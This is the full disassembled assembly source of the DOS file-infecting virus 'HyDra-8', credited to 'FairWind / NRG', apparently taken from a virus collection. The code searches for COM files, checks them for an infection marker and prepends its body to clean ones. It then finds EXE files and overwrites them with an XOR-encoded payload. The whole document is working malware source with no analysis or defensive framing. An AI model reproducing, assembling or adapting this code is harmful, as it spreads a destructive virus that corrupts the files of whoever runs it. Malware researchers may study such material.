OneHalf  Virii

HYDRA_8

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

DATA_1E EQU 80H
DATA_16E EQU 1EFH
DATA_17E EQU 1F2H
DATA_18E EQU 9D9AH

SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A


ORG 100h

HYDRA8 PROC FAR

START:
JMP LOC_2
DB 59H, 44H, 00H, 00H
DATA_4 DB 'HyDra-8 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_7 DW 0, 84FCH
DATA_9 DW 0
DATA_10 DB 0
DB 29 DUP (0)
DATA_11 DB 0
DB 0, 0, 0, 0, 0, 0
DATA_12 DB 0
DB 0, 0, 0, 0, 0, 0
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
DATA_13 DB 2AH
DB 2EH, 45H, 58H, 45H, 00H
DATA_14 DB 33H
DB 0C9H, 1EH, 52H,0E8H, 06H, 00H
DB 0E8H, 13H, 00H,0EBH, 36H, 90H
DB 0BEH, 48H, 01H,0BFH, 5AH, 01H
DB 0B9H, 12H, 00H

LOCLOOP_1:
XOR BYTE PTR [SI],0F5H
MOVSB
LOOP LOCLOOP_1

RETN
MOV AX,0F00H
INT 10H
MOV AH,0
INT 10H
MOV AX,200H
MOV DH,0CH
MOV DL,1FH
INT 10H
XOR DX,DX
MOV DX,OFFSET DATA_12
MOV AH,9
INT 21H
MOV AX,200H
MOV DH,18H
MOV DL,0
INT 10H
RETN
MOV AX,4C00H
INT 21H
ADD [BP+SI-6563H],AH
CMC
PUSHF
XCHG DH,CH
MOV DI,DATA_18E
DB 9BH,0F5H,0B2H, 94H, 99H, 81H
DB 0CAH,0D1H
LOC_2:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI
MOV CX,1EFH
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H
MOV AH,4EH
MOV DX,OFFSET DATA_4+22H
INT 21H
JC LOC_6
LOC_3:
MOV AH,3DH
MOV AL,2
MOV DX,OFFSET DATA_11
INT 21H
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_16E
INT 21H
ADD AX,1EFH
MOV CS:DATA_9,AX
CMP WORD PTR DS:DATA_17E,4459H
JNE LOC_4
MOV AH,3EH
INT 21H
PUSH CS
POP DS
MOV AH,4FH
INT 21H
JC LOC_7
JMP SHORT LOC_3 ; (0204)
LOC_4:
XOR CX,CX
MOV DX,CX
MOV AX,4200H
INT 21H
JC LOC_5
MOV AH,40H
XOR DX,DX
MOV CX,CS:DATA_9
INT 21H
LOC_5:
MOV AH,3EH
INT 21H
PUSH CS
POP DS
LOC_6:
MOV AH,1AH
MOV DX,DATA_1E
INT 21H
JMP SHORT LOC_10
DB 90H
LOC_7:
CLC
XOR CX,CX
PUSH DS
PUSH DX
MOV AH,1AH
MOV DX,OFFSET DATA_10
INT 21H
MOV DX,OFFSET DATA_13
MOV AH,4EH ; 'N'
XOR CX,CX
INT 21H
JC LOC_6
LOC_8:
MOV AH,3CH
XOR CX,CX
MOV DX,OFFSET DATA_11
INT 21H
MOV BX,AX
JC LOC_6
MOV AX,3D02H
MOV DX,OFFSET DATA_11
INT 21H
MOV BX,AX
CLC
XOR DX,DX
MOV AH,40H
MOV DX,OFFSET DATA_14
MOV CX,5AH
INT 21H
CMP AX,5AH
JB LOC_9
MOV AH,3EH
INT 21H
JC LOC_9
MOV AH,4FH
INT 21H
JNC LOC_8
LOC_9:
MOV AX,4C00H
INT 21H
LOC_10:
XOR DI,DI
MOV SI,OFFSET DATA_15
MOV CX,22H
REP MOVSB
POP BX
MOV CS:DATA_7,0
MOV WORD PTR CS:DATA_7+2,ES
POP BX
JMP DWORD PTR CS:DATA_7
DATA_15 DB 1EH
DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH
DB 02H,0BFH, 00H, 01H, 2BH,0CEH
DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
DB 01H, 00H, 01H, 2EH, 8CH, 1EH
DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
DB 2EH, 00H, 01H,0CDH
DB 20H

HYDRA8 ENDP

SEG_A ENDS



END START